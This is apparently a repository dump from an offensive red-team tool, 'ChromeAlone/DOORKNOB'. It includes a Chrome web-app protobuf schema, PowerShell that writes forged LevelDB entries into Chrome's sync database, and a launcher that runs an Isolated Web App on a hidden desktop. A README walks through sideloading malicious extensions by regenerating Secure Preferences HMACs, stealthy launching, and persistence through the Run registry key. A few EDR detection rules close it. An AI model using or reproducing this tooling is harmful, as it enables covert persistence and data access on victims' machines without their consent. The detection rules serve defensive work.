repeated int32 icon_sizes = 1;
repeated int32 icon_sizes_maskable = 2;
repeated int32 icon_sizes_monochrome = 3;
}
message WebAppPermissionsPolicy {
optional string feature = 1;
repeated string allowed_origins = 2;
optional bool matches_all_origins = 3;
optional bool matches_opaque_src = 4;
}
// This enum should be synced with |WebAppManagement| in
// chrome/browser/web_applications/web_app_constants.h as well as
// with the SourcesProto message defined above.
enum WebAppManagementProto {
WEBAPPMANAGEMENT_UNSPECIFIED = 0;
SYSTEM = 1;
POLICY = 2;
SUBAPP = 3;
WEBAPPSTORE = 4;
SYNC = 5;
DEFAULT = 6;
KIOSK = 7;
reserved 8;
OEM = 9;
ONEDRIVEINTEGRATION = 10;
APS_DEFAULT = 11;
IWA_SHIMLESS_RMA = 12;
IWA_POLICY = 13;
IWA_USER_INSTALLED = 14;
USER_INSTALLED = 15;
}
// This stores data per-external-WebAppManagement::Type, as each installation
// manager can have different installation configurations for the same web app.
message ManagementToExternalConfigInfo {
optional WebAppManagementProto management = 1;
// The collection of install_urls per web_app per WebAppManagement::Type.
repeated string install_urls = 2;
// Stores whether the app is a placeholder app or not.
optional bool is_placeholder = 3;
// A list of additional terms to use when matching this app against
// identifiers in admin policies (for shelf pinning, default file handlers,
// etc) per web_app per WebAppManagement::Type.
// Note that list is not meant to be an exhaustive enumeration of all possible
// policy_ids but rather just a supplement for tricky cases.
repeated string additional_policy_ids = 4;
}
// The initiator of a sync generated icon fix time window.
enum GeneratedIconFixSource {
GeneratedIconFixSource_UNKNOWN = 0;
GeneratedIconFixSource_SYNC_INSTALL = 1;
GeneratedIconFixSource_RETROACTIVE = 2;
GeneratedIconFixSource_MANIFEST_UPDATE = 3;
};
// Represents the current state of attempts to fix broken icons from sync
// installed web apps.
message GeneratedIconFix {
optional GeneratedIconFixSource source = 1; // Required.
optional int64 window_start_time = 2; // Required.
optional int64 last_attempt_time = 3;
optional uint32 attempt_count = 4; // Required.
}
// Full WebApp object data. See detailed comments in
// chrome/browser/web_applications/web_app.h. Note on database identities:
// app_id is a hash of launch_url. app_id is the client tag for sync system.
// app_id is the storage key in DataTypeStore.
message WebAppProto {
reserved "handle_links", "is_in_sync_install", "is_placeholder",
"file_handler_os_integration_state",
"run_on_os_login_os_integration_state";
// Synced data. It is replicated across , all devices with WEB_APPS.
//
// |sync_data.name| and |sync_data.theme_color| are read by a device to
// generate a placeholder icon. Any device may write new values to synced
// |name| and |theme_color|. A random last update wins.
optional sync_pb.WebAppSpecifics sync_data = 1; // Required.
// This enum should be synced with
// third_party/blink/public/mojom/manifest/display_mode.mojom
enum DisplayMode {
// UNDEFINED if optional |display_mode| is absent.
BROWSER = 1;
MINIMAL_UI = 2;
STANDALONE = 3;
FULLSCREEN = 4;
WINDOW_CONTROLS_OVERLAY = 5;
TABBED = 6;
BORDERLESS = 7;
PICTURE_IN_PICTURE = 8;
}
// Local data. May vary across devices. Not to be synced.
//
optional string name = 2; // Required.
optional uint32 theme_color = 3;
optional string description = 4;
optional DisplayMode display_mode = 5;
optional string scope = 6;
optional SourcesProto sources = 7; // Required.
// This used to be `bool is_locally_installed`.
required proto.InstallState install_state = 8; // Required.
// Installation state:
// Specifies if this web app is from sync and has not completed installation.
// If true, this entity will be re-installed on startup.
optional bool is_from_sync_and_pending_installation = 9;
repeated sync_pb.WebAppIconInfo manifest_icons = 10;
// A list of icon sizes we successfully downloaded to store on disk, for icons
// that are suitable for any purpose (ie. IconPurpose::ANY). See also:
// |downloaded_icon_sizes_purpose_monochrome|.
repeated int32 downloaded_icon_sizes_purpose_any = 11;
// A list of file handlers.
repeated WebAppFileHandlerProto file_handlers = 12;
// A list of additional search terms to use when searching for the app.
repeated string additional_search_terms = 13;
// Even though |chromeos_data| is optional, it should always exist on
// ChromeOS.
optional ChromeOSDataProto chromeos_data = 14;
// Last time the app is launched.
// ms since the Unix epoch. See sync/base/time.h.
optional int64 last_launch_time = 15;
// Time the app is installed.
// ms since the Unix epoch. See sync/base/time.h.
optional int64 first_install_time = 16;
// A list of protocol handlers.
repeated WebAppProtocolHandler protocol_handlers = 17;
// Represents whether the icons for the web app are generated by Chrome due to
// no suitable icons being available.
optional bool is_generated_icon = 18;
// A list of Shortcuts Menu items specified in the Web App Manifest.
repeated WebAppShortcutsMenuItemInfoProto shortcuts_menu_item_infos = 19;
// A list of icon sizes we successfully downloaded to store on disk.
repeated DownloadedShortcutsMenuIconSizesProto
downloaded_shortcuts_menu_icons_sizes = 20;
optional uint32 background_color = 21;
// A list of display modes specified in app manifest.
repeated DisplayMode display_mode_override = 22;
// A list of icon sizes we successfully downloaded to store on disk, for icons
// that are designed for masking (ie. IconPurpose::MASKABLE). See also:
// |downloaded_icon_sizes_purpose_any|.
repeated int32 downloaded_icon_sizes_purpose_maskable = 23;
// Run on OS Login modes for web app.
// See chrome/browser/web_applications/web_app_constants.h
// for web_app::RunOnOsLoginMode definition, which this enum should be in sync
// with.
enum RunOnOsLoginMode {
// NOT_RUN if optional |user_run_on_os_login_mode| is absent.
NOT_RUN = 0;
WINDOWED = 1;
MINIMIZED = 2;
}
// User preference: Run on OS Login mode for web app.
// If present, the web app is configured to run on OS login.
optional RunOnOsLoginMode user_run_on_os_login_mode = 24;
optional ShareTarget share_target = 25;
optional string launch_query_params = 26;
repeated WebAppUrlHandlerProto url_handlers = 27;
optional ClientDataProto client_data = 28;
// This enum should be synced with |CaptureLinks| in
// third_party/blink/public/mojom/manifest/capture_links.mojom
enum CaptureLinks {
// UNDEFINED if optional |capture_links| is absent.
NONE = 1;
NEW_CLIENT = 2;
EXISTING_CLIENT_NAVIGATE = 3;
}
optional CaptureLinks capture_links = 29;
optional string manifest_url = 30;
// Last time the Badging API was used.
// ms since the Unix epoch. See sync/base/time.h.
optional int64 last_badging_time = 31;
optional bool file_handler_permission_blocked = 32;
// A list of icon sizes we successfully downloaded to store on disk for
// monochrome icons. (IconPurpose::MONOCHROME). See also:
// |downloaded_icon_sizes_purpose_any|,
// |downloaded_icon_sizes_purpose_maskable|.
repeated int32 downloaded_icon_sizes_purpose_monochrome = 33;
optional bool window_controls_overlay_enabled = 34;
// If present, the URL to use to create a new note in the app.
optional string note_taking_new_note_url = 35;
// A list of allowed launch protocols when launching the app with a protocol
// url. This list is checked to see if we can bypass the permission dialog
// when launching the web app.
repeated string allowed_launch_protocols = 37;
optional LaunchHandlerProto launch_handler = 38;
// Time the app is updated.
// ms since the Unix epoch. See sync/base/time.h.
optional int64 manifest_update_time = 39;
// A list of disallowed launch protocols. The user has elected to never
// allow these protocols be launched in the web app.
repeated string disallowed_launch_protocols = 40;
// A theme color to be used when the app is opened in dark mode.
optional uint32 dark_mode_theme_color = 41;
// Should be kept in sync with `ApiApprovalState` in web_app_constants.h.
enum ApiApprovalState {
REQUIRES_PROMPT = 0;
ALLOWED = 1;
DISALLOWED = 2;
}
optional ApiApprovalState file_handler_approval_state = 42;
// For apps installed via the SubApp API, ID of the parent app that installed
// the Sub-app.
optional string parent_app_id = 43;
// A background color to be used when the app is opened in dark mode.
optional uint32 dark_mode_background_color = 44;
// Specifies if this web app is currently being uninstalled. If true on
// startup, it's assumed there was a crash or other error during
// uninstallation, and the uninstallation will be tried again.
optional bool is_uninstalling = 45;
reserved 46;
// Whether the app should show up in file-open intent and picking surfaces.
optional bool handles_file_open_intents = 47;
reserved 48;
// Contains the permissions policy that should be applied to the web app.
repeated WebAppPermissionsPolicy permissions_policy = 49;
// The source that triggered the latest install. This is a
// `webapps::WebappInstallSource` encoded as an integer.
optional uint32 latest_install_source = 50;
reserved 51;
// Map of WebAppManagement enum to placeholder info and install_urls.
// There should be only one entry per WebAppManagement source.
repeated ManagementToExternalConfigInfo management_to_external_config_info =
52;
reserved 53;
// The amount of storage (in bytes) used by the app and its related data.
optional uint64 app_size_in_bytes = 54;
optional uint64 data_size_in_bytes = 55;
// If present, the URL to use to launch the app on the lock screen.
optional string lock_screen_start_url = 56;
// Contains customisations to the web app tab strip. Only present when the
// display_mode is tabbed.
optional proto.TabStrip tab_strip = 57;
// Only used on Mac OS, stores whether the app should always show the
// toolbar when in fullscreen mode.
optional bool always_show_toolbar_in_fullscreen = 58;
// Contains the os_integration_state currently deployed for a web_app.
// This will be populated from the fields in this proto when ran for the first
// time after OS hooks have been registered.
optional proto.WebAppOsIntegrationState current_os_integration_states = 59;
// If present, signals that this app is an Isolated Web App, and contains
// IWA-specific information like bundle location.
optional proto.IsolationData isolation_data = 60;
// Contains web origins that are part of the app's extended scope.
repeated WebAppScopeExtensionProto scope_extensions = 61;
// The same as scope_extensions but filtered to origins that have validated
// associations with this web app. See
// https://github.com/WICG/manifest-incubations/blob/gh-pages/scope_extensions-explainer.md
// for association requirements.
repeated WebAppScopeExtensionProto scope_extensions_validated = 62;
// Stores whether the current web app is set as the default app to capture
// links.
optional proto.LinkCapturingUserPreference user_link_capturing_preference =
63;
// Time the app was updated as part of a full install. For example when a
// policy installs an app that is already in the DB installed as a
// default/sync installed app and the DB data is overwritten. ms since the
// Unix epoch. See sync/base/time.h.
optional int64 latest_install_time = 64;
// Contains bookkeeping details about attempts to fix broken icons from sync
// installed web apps.
optional GeneratedIconFix generated_icon_fix = 65;
// Records the number of times the user has ignored/dismissed the offer to
// turn on user link capturing after launching the app via the intent picker,
// specifically from the `EnableLinkCapturingInfoBarDelegate`.
optional int32 supported_links_offer_ignore_count = 66;
optional int32 supported_links_offer_dismiss_count = 67;
// Set to true if the app was installed via the DIY app install path by the
// user (3-dot menu, Install page as App...). DIY apps aren't promotable or
// installable, and the user can customize its name.
optional bool is_diy_app = 68;
}
+43
View File
@@ -0,0 +1,43 @@
$dllPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$dllPath = Join-Path $dllPath "ProcessHelper.dll"
Import-Module $dllPath
# Launch Chrome app
$chromePath = $env:CHROME_PATH
if (-not $chromePath) {
# Check multiple possible Chrome installation paths
$chromePaths = @(
"${env:ProgramFiles}\Google\Chrome\Application\chrome.exe",
"${env:ProgramFiles(x86)}\Google\Chrome\Application\chrome.exe",
"${env:LocalAppData}\Google\Chrome\Application\chrome.exe"
)
foreach ($path in $chromePaths) {
if (Test-Path $path) {
$chromePath = $path
break
}
}
# Fallback to default if not found
if (-not $chromePath) {
$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
}
}
$userDataDir = $env:USER_DATA_DIR
if (-not $userDataDir) {{
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
}}
$chromeArgs = "--allow-no-sandbox-job --disable-3d-apis --disable-gpu " +
"--disable-d3d11 --disable-accelerated-layers --disable-accelerated-plugins " +
"--disable-accelerated-2d-canvas --disable-deadline-scheduling " +
"--disable-ui-deadline-scheduling --aura-no-shadows " +
"--user-data-dir=`"$userDataDir`" --profile-directory=Default"
$chromeAppArgs = "$chromeArgs --app-id=$env:IWA_APP_ID"
# Launch Chrome app on hidden desktop - we don't care about the PID output
Start-ProcessOnDesktop -ProcessPath $chromePath -ProcessArgs $chromeAppArgs -DesktopName $sharedDesktopName
Start-ProcessOnDesktop -ProcessPath $chromePath -ProcessArgs $chromeArgs -DesktopName $sharedDesktopName
+290
View File
@@ -0,0 +1,290 @@
function Initialize-CRC32CTable {
$polynomial = [uint32]::Parse("82F63B78", [System.Globalization.NumberStyles]::HexNumber)
$table = [uint32[]]::new(256)
for ($i = 0; $i -lt 256; $i++) {
$crc = [uint32]$i
for ($j = 0; $j -lt 8; $j++) {
if (($crc -band 1) -eq 1) {
$shifted = [uint32]($crc -shr 1)
$crc = DoMath -Value1 $shifted -Value2 $polynomial
} else {
$crc = [uint32]($crc -shr 1)
}
}
$table[$i] = $crc
}
return $table
}
function DoMath {
param (
[Parameter(Mandatory=$true)]
[uint32]$Value1,
[Parameter(Mandatory=$true)]
[uint32]$Value2
)
$hex1 = [Convert]::ToString($Value1, 16).PadLeft(8, '0')
$hex2 = [Convert]::ToString($Value2, 16).PadLeft(8, '0')
$resultHex = ""
for ($i = 0; $i -lt 8; $i++) {
$digit1 = [Convert]::ToInt32($hex1[$i].ToString(), 16)
$digit2 = [Convert]::ToInt32($hex2[$i].ToString(), 16)
$xDigit = $xTable[$digit1, $digit2]
$resultHex += [Convert]::ToString($xDigit, 16)
}
return [Convert]::ToUInt32($resultHex, 16)
}
$script:xTable = New-Object 'int[,]' 16,16
for ($i = 0; $i -lt 16; $i++) {
for ($j = 0; $j -lt 16; $j++) {
$and = $i -band $j
$x = $i + $j - 2 * $and
$script:xTable[$i, $j] = $x
}
}
function Get-CRC32C {
param (
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
$table = Initialize-CRC32CTable
$crc = [uint32]::Parse("FFFFFFFF", [System.Globalization.NumberStyles]::HexNumber)
foreach ($byte in $Data) {
# Safely convert byte to uint32 before operations
[uint32]$byteValue = [uint32]$byte
$temp = DoMath -Value1 $crc -Value2 $byteValue
$index = [uint32]($temp -band 0xFF)
$shifted = [uint32]($crc -shr 8)
$crc = DoMath -Value1 $table[$index] -Value2 $shifted
$crc = [uint32]($crc -band 0xFFFFFFFF)
}
$crc = DoMath -Value1 $crc -Value2 ([uint32]::Parse("FFFFFFFF", [System.Globalization.NumberStyles]::HexNumber))
return $crc
}
function ConvertFrom-HexString {
param (
[Parameter(Mandatory=$true)]
[string]$HexString
)
# Clean the hex string - remove any whitespace or invalid characters
$HexString = $HexString.Replace(" ", "").Trim()
# Validate hex string
if ($HexString.Length % 2 -ne 0) {
throw "Invalid hex string length. Must be even number of characters."
}
if (-not ($HexString -match '^[0-9A-Fa-f]+$')) {
throw "Invalid hex string. Contains non-hex characters."
}
$bytes = [byte[]]::new($HexString.Length / 2)
for($i=0; $i -lt $HexString.Length; $i+=2) {
$hexByte = $HexString.Substring($i, 2)
try {
$bytes[$i/2] = [convert]::ToByte($hexByte, 16)
}
catch {
throw "Failed to convert hex byte '$hexByte' at position $i : $_"
}
}
return $bytes
}
function Add-UInt32 {
param(
[Parameter(Mandatory=$true)]
[uint32]$A,
[Parameter(Mandatory=$true)]
[uint32]$B
)
return [uint32](($A + $B) -band [uint32]::MaxValue)
}
function Mask-CRC32C {
param (
[Parameter(Mandatory=$true)]
[uint32]$CRC
)
$K_MASK_DELTA = [uint32]::Parse("A282EAD8", [System.Globalization.NumberStyles]::HexNumber)
$rightShift = [uint32]($CRC -shr 15)
$leftShift = [uint32]($CRC -shl 17)
[uint32]$rotated = $rightShift -bor $leftShift
$masked = Add-UInt32 -A $rotated -B $K_MASK_DELTA
return $masked
}
function ConvertTo-LittleEndianHex {
param (
[Parameter(Mandatory=$true)]
[uint32]$Value
)
$bytes = [BitConverter]::GetBytes($Value)
$hexString = ($bytes | ForEach-Object { $_.ToString("x2") }) -join ''
return $hexString
}
function Calc-LevelDB-Hash {
param (
[Parameter(Mandatory=$true)]
[string]$Data
)
$dataBytes = ConvertFrom-HexString -HexString $Data
$crc32cHash = Get-CRC32C -Data $dataBytes
$maskedCRC32C = Mask-CRC32C -CRC $crc32cHash
$maskedCRC32CHex = ConvertTo-LittleEndianHex -Value $maskedCRC32C
return $maskedCRC32CHex
}
function Convert-ToVarInt32 {
param (
[Parameter(Mandatory=$true)]
[int]$Value
)
$bytes = New-Object System.Collections.ArrayList
do {
$byte = $Value -band 0x7F
$Value = $Value -shr 7
if ($Value -ne 0) {
$byte = $byte -bor 0x80
}
$bytes.Add([byte]$byte) > $null
} while ($Value -ne 0)
return ($bytes | ForEach-Object { $_.ToString("x2") }) -join ''
}
function Create-LevelDBEntry {
param (
[Parameter(Mandatory=$true)]
[int]$SequenceNumber,
[Parameter(Mandatory=$true)]
[string]$Key,
[Parameter(Mandatory=$true)]
[string]$ValueHex
)
# 1. Create Record Format Entry
$keyBytes = [System.Text.Encoding]::ASCII.GetBytes($Key)
$keyLength = Convert-ToVarInt32 -Value $keyBytes.Length
$valueLength = Convert-ToVarInt32 -Value ($ValueHex.Length / 2)
Write-Debug "Key Length (hex): $keyLength"
Write-Debug "Key Bytes (hex): $(($keyBytes | ForEach-Object { $_.ToString("x2") }) -join '')"
Write-Debug "Value Length (hex): $valueLength"
Write-Debug "Value (hex): $ValueHex"
# Construct record entry parts separately to ensure no spaces are introduced
$keyHex = ($keyBytes | ForEach-Object { $_.ToString("x2") }) -join ''
$cleanValueHex = $ValueHex.Replace(" ", "")
$recordEntry = "01" + # Live record state
$keyLength + # Key length as VarInt32
$keyHex + # Key bytes
$valueLength + # Value length as VarInt32
$cleanValueHex # Value bytes
Write-Debug "Record Entry: $recordEntry"
# 2. Create Batch Header
$batchHeader = [BitConverter]::GetBytes([int64]$SequenceNumber) +
[BitConverter]::GetBytes([int32]1) # Record count = 1
$batchHeaderHex = ($batchHeader | ForEach-Object { $_.ToString("x2") }) -join ''
Write-Debug "Batch Header: $batchHeaderHex"
# 3. Calculate LevelDB Hash
$dataToHash = "01" + $batchHeaderHex + $recordEntry
Write-Debug "Data to Hash: $dataToHash"
$hash = Calc-LevelDB-Hash -Data $dataToHash
Write-Debug "Hash: $hash"
# 4. Calculate content length
$contentLength = ($batchHeaderHex.Length + $recordEntry.Length) / 2
$lengthBytes = [BitConverter]::GetBytes([int16]$contentLength)
$lengthHex = ($lengthBytes | ForEach-Object { $_.ToString("x2") }) -join ''
Write-Debug "Content Length (hex): $lengthHex"
# 5. Combine all parts
$finalHex = ($hash + # CRC32C hash
$lengthHex + # Content length
"01" + # Block type (FULL)
$batchHeaderHex +
$recordEntry).Replace(" ", "")
return $finalHex
}
function Write-LevelDBEntry {
param (
[Parameter(Mandatory=$true)]
[string]$FilePath,
[Parameter(Mandatory=$true)]
[int]$SequenceNumber,
[Parameter(Mandatory=$true)]
[string]$Key,
[Parameter(Mandatory=$true)]
[string]$ValueHex
)
# 1. Create the new entry
$newEntry = Create-LevelDBEntry -SequenceNumber $SequenceNumber -Key $Key -ValueHex $ValueHex
# 2. Convert hex string to bytes
$entryBytes = ConvertFrom-HexString -HexString $newEntry
# 3. Append bytes to file
Add-Content -Path $FilePath -Value $entryBytes -Encoding Byte
}
# Create IWA directory structure
function Initialize-IWADirectory {
param (
[Parameter(Mandatory=$true)]
[string]$AppInternalName,
[Parameter(Mandatory=$true)]
[string]$SwbmPath
)
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$iwaDir = Join-Path $userDataDir "Default\iwa\$AppInternalName"
# Create directories if they don't exist
New-Item -ItemType Directory -Force -Path $iwaDir | Out-Null
# Copy SWBM file
Copy-Item -Path $SwbmPath -Destination (Join-Path $iwaDir "main.swbn") -Force
}
function Get-LevelDBLogFilePath {
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$syncDataDir = Join-Path $userDataDir "Default"
$syncDataDir = Join-Path $syncDataDir "Sync Data"
$syncDataLevelDBDir = Join-Path $syncDataDir "LevelDB"
$logFiles = Get-ChildItem -Path $syncDataLevelDBDir -Filter "*.log"
$logFile = $logFiles | Sort-Object { [int]($_.Name -replace '[^0-9]', '') } | Select-Object -Last 1
return Join-Path $syncDataLevelDBDir $logFile.Name
}
+269
View File
@@ -0,0 +1,269 @@
# DOORKNOB - Browser Extension & IWA Persistence Component
## Overview
DOORKNOB is the persistence and installation component of ChromeAlone that bypasses Chrome's security mechanisms to install unauthorized extensions and Isolated Web Applications (IWAs). It manipulates Chrome's internal databases and configuration files to achieve persistence without user consent.
## What is DOORKNOB?
DOORKNOB implements two primary attack vectors:
1. **Chrome Extension Sideloading** - Installing malicious extensions by manipulating Chrome's preference files and cryptographic verification
2. **Isolated Web App (IWA) Installation** - Deploying web applications with native-like privileges through Chrome's internal databases
## Technical Deep Dive
### Chrome Extension Sideloading
#### Understanding Chrome's Security Model
Chrome uses several layers to prevent unauthorized extension installation:
**1. Preferences File Structure**
Chrome stores extension metadata in JSON files located at:
- `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Preferences`
- `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Secure Preferences`
The `Preferences` file contains basic settings, while `Secure Preferences` contains security-critical data that's cryptographically protected. Depending on which version of Windows is in use, information traditionally stored in `Secure Preferences` may instead be written into `Preferences` instead. From testing it appears that
Windows 11 Chrome can work entirely from the `Preferences` file while earlier versions require configuration
information for extensions to be stored in `Secure Preferences`.
**2. MAC (Message Authentication Code) Protection**
Chrome protects the `Secure Preferences` file using HMAC-SHA256 hashes. This ensures file integrity by:
- Computing a hash of the file contents using a machine-specific key (derived in step 3) and device ID (on Windows this is the user's SID)
- Storing this hash alongside the data
- Verifying the hash on each startup - if it doesn't match, Chrome resets the file
The input value for a hash calculation concatenates all of the inputs before hashing against the machine key. Here's an example input value to the HMAC calculation:
```
S-1-5-21-2926226500-289407501-1878376096fieebjmodjmimefnlpbfdihkehpelgcc{"account_extension_type":0,"active_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"scriptable_host":["\u003Call_urls>"]},"creation_flags":38,"first_install_time":"13397690747955841","from_webstore":false,"granted_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"scriptable_host":["\u003Call_urls>"]},"last_update_time":"13397690747955841","location":4,"newAllowFileAccess":true,"service_worker_registration_info":{"version":"1.0"},"serviceworkerevents":["runtime.onInstalled","runtime.onStartup"],"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}
```
**3. Machine Key Extraction**
The HMAC key is stored within Chrome's `resources.pak` file, which contains compressed browser resources. DOORKNOB:
- Parses the PAK file format to locate a specific 64-byte resource
- Extracts this machine-specific key
- Uses it to generate valid HMAC signatures for modified preference files
- Technically this is identical across all chrome installs, so for now Machine Key is really just a hardcoded value.
#### The Sideloading Process
**Step 1: Chrome Discovery**
```powershell
# Locates Chrome installation and extracts the resources.pak file for Machine Key calculation
$chromePath = Get-ChromeApplicationPath
$resourcesPath = "$chromePath\resources.pak"
```
**Step 2: Machine Key + Device ID Extraction**
```powershell
# Parses PAK file structure to find the 64-byte machine key
$resourceBytes = [System.IO.File]::ReadAllBytes($ResourcePath)
$machineKey = Extract-64ByteResource($resourceBytes)
```
```powershell
$deviceId = ([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value -split '-')[0..6] -join '-'
```
**Step 3: Preference Manipulation**
The script modifies Chrome's preferences to include the malicious extension:
```json
{
"extensions": {
"settings": {
"malicious_extension_id": {
"account_extension_type": 0,
"active_permissions": {
"api": [
"management",
"system.display",
"system.storage",
"webstorePrivate",
"system.cpu",
"system.memory",
"system.network"
],
"explicit_host": [],
"manifest_permissions": [],
"scriptable_host": []
},
"app_launcher_ordinal": "t",
"commands": {},
...
"manifest": {...},
"path": "C:\\path\\to\\extension",
"state": 1
}
}
}
}
Note that in some cases this may be in the `Preferences` file (appears to be the case on Windows 11), while in most cases
it's stored in the `Secure Preferences` file (all other Windows versions).
```
**Step 4: HMAC Regeneration**
```powershell
# Computes new HMAC for the modified file
$hmac = [System.Security.Cryptography.HMACSHA256]::new($machineKey)
$newHash = $hmac.ComputeHash($modifiedPreferences)
```
**Step 5: HMAC Insertion**
We take the MAC from Step 4, and insert it into the `protection.macs` location for the appropriate extension id.
For example, say our hash is `9773F872715710627B9986B2E953AE331CB36A1B42952D038A34876AF63DDC72` for `ahfgeienlihckogmohjhadlkjgocpleb`, we would insert it into `protection.macs.extensions.settings.ahfgeienlihckogmohjhadlkjgocpleb` as `9773F872715710627B9986B2E953AE331CB36A1B42952D038A34876AF63DDC72`.
Similar to step 3, sometimes this change is made in the `Preferences` file (in Windows 11), while it's normally
stored in `Secure Preferences` for earlier versions.
### Isolated Web App (IWA) Installation
#### Understanding IWAs
Isolated Web Apps are Chrome's mechanism for installing web applications with native-like privileges. They:
- Run in isolated contexts with enhanced permissions
- Can access system APIs normally restricted to native applications
- Are distributed as signed web bundles (`.swbn` files)
#### Chrome's Internal Storage Systems
**1. LevelDB Database**
Chrome uses LevelDB (a key-value database) to store application metadata:
- Location: `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Sync Data\LevelDB\`
- Contains IWA installation records, permissions, and metadata
- Uses binary-encoded keys and protobuf-encoded values
The `LevelDB` folder will contain a series of `.log` files, which when processed together will be treated
as the database. The powershell implementation in Doorknob assumes there is only one of these `.log` files -
we're assuming that we're working with a fresh database versus one with more keys and a longer usage timeframe.
**2. Protocol Buffers (Protobuf)**
Chrome serializes complex data structures using protobuf, Google's language-neutral serialization format:
- Compact binary encoding of structured data
- Schema-defined message formats
- Used for IWA metadata, permissions, and installation records
#### The IWA Installation Process
**Step 1: Initialize a fresh Chrome User Profile**
In order to run Chrome Isolated Web Apps, we need to enable certain flags, specifically:
```
--enable-isolated-web-app-dev-mode
--enable-isolated-web-apps
```
In order to avoid needing a special shortcut to run Chrome, we can just force these flags to load every time
by editing the `Local State` JSON file in `<CHROME PROFILE>\User Data\Local State`. We can set a handful of properties which make sure Chrome will silently launch properly:
```powershell
$jsonContent.browser = @{
default_browser_infobar_declined_count = 1
default_browser_infobar_last_declined_time = $currentTimeMs
enabled_labs_experiments = @(
"enable-isolated-web-app-dev-mode@1"
"enable-isolated-web-apps@1"
)
first_run_finished = $true
}
```
Unfortunately, even though we set several UI properties, the user will still be warned every time that the
application launches. Additionally - if Chrome has already been launched and we try to launch with these flags,
it will have no effect unless the entire app is restarted. Because of this, it actually is easier for us to create a separate user profile entirely on disk and work from there. By using the `--user-data-dir` flag, we can force Chrome to create a parallel user profile that won't affect the main Chrome installation on disk. It's very common to create new user profiles as well so even though this creates a TON of files on disk, it's still safe against inspection. The full code for this process can be found in `initializeIWAChrome.ps1`.
So we create our evil parallel user profile, modify it to enable IWAs, and then we can move onto actually sideloading. Note that the following steps will describe the literal code to invoke the relevant behavior - their implementation details can be found within the codebase for those who are curious.
**Step 2: Web Bundle Analysis**
```python
# Parses signed web bundle to extract cryptographic information
bundle_info = parse_signed_web_bundle_header(bundle_path)
public_key = bundle_info['public_key']
signature = bundle_info['signature']
```
**Step 3: Application ID Generation**
```python
# Creates Chrome-compatible app ID from public key
web_bundle_id = create_web_bundle_id_from_public_key(public_key)
app_id = get_chrome_app_id(public_key)
origin = f"isolated-app://{web_bundle_id}"
```
**Step 4: Protobuf Record Creation**
The system creates protobuf records containing:
- Application metadata (name, version, origin)
- Installation timestamp and source
- Cryptographic signatures and public keys
- Permission grants and isolation settings
For this project a base protobuf built on a legitimate application has been extracted and stored as
`app.pb`. The python code in `protobufUpdater.py` opens this file, then makes all the appropriate
changes based on our generated signed web bundle to make sure that loading proceeds as desired.
**Step 5: LevelDB Injection**
```python
# Directly writes protobuf data to Chrome's LevelDB
db_key = generate_leveldb_key(app_id)
protobuf_data = serialize_app_metadata(app_info)
leveldb_write(db_path, db_key, protobuf_data)
```
**Step 6: Opening the Application Stealthily**
Chrome Isolated Web Apps are run from the legacy Chrome Apps interface at `chrome://apps`. This normally
requires the user to navigate to the page and click an icon which will launch the application in its own
window. There are several problems here, for our purposes:
1. It requires user interaction
2. It opens a visible window
Luckily for us, there is a flag built into chrome for launching Chrome Apps, `-app-id`. We run chrome (along with several other flags for performance) that help minimize its profile. Note that we also specify our `--user-data-dir` flag from step 1.
```
"C:\Program Files\Google\Chrome\Application\chrome.exe" --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-accelerated-layers --disable-accelerated-plugins --disable-accelerated-2d-canvas --disable-deadline-scheduling --disable-ui-deadline-scheduling --aura-no-shadows --user-data-dir="C:\Users\localuser\AppData\Local\com.chrome.alone" --profile-directory=Default --app-id=gckefbcfobglggkfpcigmmjaekledman
```
This solves part of the issue, but we still get a visible window. This is where we rely on a tried and true red teaming tactic - [Hidden Desktop abuse](https://github.com/WKL-Sec/HiddenDesktop). Essentially we invoke specific Windows APIs to create a new Desktop handle which isn't shown to the user, then when we invoke process creation APIs, we pass in the alternate handle so the user isn't shown the window. This works perfectly for our purposes. The code we use for this can be seen in `startIWAApp.ps1`.
**Step 7: Add the application to run on startup**
Unlike Chrome extensions, which we can simply apply `background` permissions to in order to guarantee running on startup - there is no default mechanism to run Chrome Apps that will perform everything we need in step 6. This means that we need to add `startIWAApp.ps1` to our startup process. There are a myriad of ways to enable persistence, but for this release we have chosen to update the `Microsoft\Windows\CurrentVersion\Run` key to run our app.
## EDR Detection Signatures
### Runtime File System Activities
#### Chrome Preference File Tampering
```yaml
rule: DOORKNOB_Runtime_Preference_Manipulation
events:
- file_modification:
file_path:
- "*\\Google\\Chrome\\User Data\\Default\\Preferences"
- "*\\Google\\Chrome\\User Data\\Default\\Secure Preferences"
process_name_not:
- chrome.exe
- msedge.exe
access_type: WRITE
followed_by:
- process_creation:
process_name: chrome.exe
within: 60s
```
#### LevelDB Database Tampering
```yaml
rule: DOORKNOB_Runtime_LevelDB_Manipulation
events:
- file_access:
file_path_contains:
- "\\Chrome\\User Data\\Default\\Sync Data\\"
- "\\LevelDB\\"
file_extension:
- ".ldb"
- ".log"
process_name_not: chrome.exe
access_type: WRITE
```
+78
View File
@@ -0,0 +1,78 @@
FROM ubuntu:22.04
# Avoid prompts during package installation
ENV DEBIAN_FRONTEND=noninteractive
# Install basic dependencies
RUN apt-get update && apt-get install -y \
curl \
wget \
gnupg \
software-properties-common \
unzip \
git \
python3 \
python3-pip \
&& rm -rf /var/lib/apt/lists/*
# Install Node.js and npm
RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \
&& apt-get install -y nodejs \
&& npm install -g npm@latest
# Install Go
RUN GO_VERSION=1.21.5 && \
curl -fsSL https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz -o go.tar.gz && \
tar -C /usr/local -xzf go.tar.gz && \
rm go.tar.gz
